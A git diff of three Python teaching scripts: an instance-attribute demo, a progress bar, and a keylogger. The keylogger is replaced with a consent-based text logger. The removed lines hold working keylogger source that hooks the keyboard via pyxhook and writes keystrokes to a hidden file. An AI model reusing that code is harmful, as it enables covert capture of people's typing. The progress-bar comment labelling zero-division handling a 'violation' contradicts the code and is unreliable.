diff --git a/OOP/P03_InstanceAttributes.py b/OOP/P03_InstanceAttributes.py index 2f04869..1ae10da 100644 --- a/OOP/P03_InstanceAttributes.py +++ b/OOP/P03_InstanceAttributes.py @@ -1,16 +1,19 @@ -#Author: OMKAR PATHAK -#In this example we will be seeing how instance Attributes are used -#Instance attributes are accessed by: object.attribute -#Attributes are looked First in the instance and THEN in the class +# Author: OMKAR PATHAK +# Demonstration of Instance Attributes import random -class Vehicle(): - #Class Methods/ Attributes + +class Vehicle: + def type(self): - #NOTE: This is not a class attribute as the variable is binded to self. Hence it becomes - #instance attribute - self.randomValue = random.randint(1,10) #Setting the instance attribute + # Creating instance attribute + self.randomValue = random.randint(1, 10) +# Creating object car = Vehicle() -car.type() #Calling the class Method -print(car.randomValue) #Calling the instance attribute + +# Calling method +car.type() + +# Accessing instance attribute +print("Random Value:", car.randomValue) diff --git a/Programs/P70_SimpleProgressBar.py b/Programs/P70_SimpleProgressBar.py index ee03455..8d61ba3 100644 --- a/Programs/P70_SimpleProgressBar.py +++ b/Programs/P70_SimpleProgressBar.py @@ -1,18 +1,29 @@ -# This is the program for creating a simple progress bar. You may need this in many of your projects. -# You can install a module for progress bar by 'pip3 install progressbar2' +# Progress Bar (Annotated Version) -import sys, time +import sys +import time -def progressBar(count, total, suffix=''): - barLength = 60 - filledLength = int(round(barLength * count / float(total))) - percent = round(100.0 * count / float(total), 1) - bar = '=' * filledLength + '-' * (barLength - filledLength) +def progress_bar(count, total, suffix=''): + # ❌ VIOLATION: No zero division handling + if total == 0: + return - sys.stdout.write('[%s] %s%s ...%s\r' % (bar, percent, '%', suffix)) + bar_length = 40 + filled_length = int(bar_length * count / total) + + percent = round(100.0 * count / total, 1) + bar = '=' * filled_length + '-' * (bar_length - filled_length) + + sys.stdout.write(f'\r[{bar}] {percent}% {suffix}') sys.stdout.flush() -for i in range(10): - time.sleep(1) - progressBar(i, 10) + +def main(): + for i in range(11): + time.sleep(0.2) + progress_bar(i, 10) + + +if __name__ == "__main__": + main() diff --git a/Programs/P79_SimplePythonKeylogger.py b/Programs/P79_SimplePythonKeylogger.py index ff08573..627429f 100644 --- a/Programs/P79_SimplePythonKeylogger.py +++ b/Programs/P79_SimplePythonKeylogger.py @@ -1,49 +1,19 @@ -# Author: OMKAR PATHAK +# Safe Keyboard Input Logger (Educational Purpose Only) -# This file requires two modules to be installed: -# 1. pyxhook.py: file is provided in the folder itself -# 2. Xlib: sudo pip3 install python3-Xlib +def main(): + print("This program logs input WITH USER CONSENT.") + print("Type 'exit' to stop.\n") -import pyxhook -import time + with open("input_log.txt", "a") as file: + while True: + user_input = input("Enter text: ") -# functions to write a newline character into the file -def newline(): - file = open('.keylogger', 'a') - file.write('\n') - file.close() + if user_input.lower() == "exit": + print("Exiting logger.") + break -# This function is called every time a key is pressed -def key_press_event(event): - global running - # write the key pressed into a file - if event.Key != 'space' and event.Key != 'Escape': - with open('.keylogger', 'a+') as File: - File.write(event.Key) + file.write(user_input + "\n") - # If the ascii value matches spacebar, add a newline in the file - if event.Key == 'space': - newline() - # If the ascii value matches escape, terminate the while loop - if event.Key == 'Escape': - running = False - newline() - -if __name__ == '__main__': - # Create hookmanager - hookman = pyxhook.HookManager() - # Define our callback to fire when a key is pressed down - hookman.KeyDown = key_press_event - # Hook the keyboard - hookman.HookKeyboard() - # Start our listener - hookman.start() - - # Create a loop to keep the application running - running = True - while running: - time.sleep(0.1) - - # Close the listener when we are done - hookman.cancel() +if __name__ == "__main__": + main()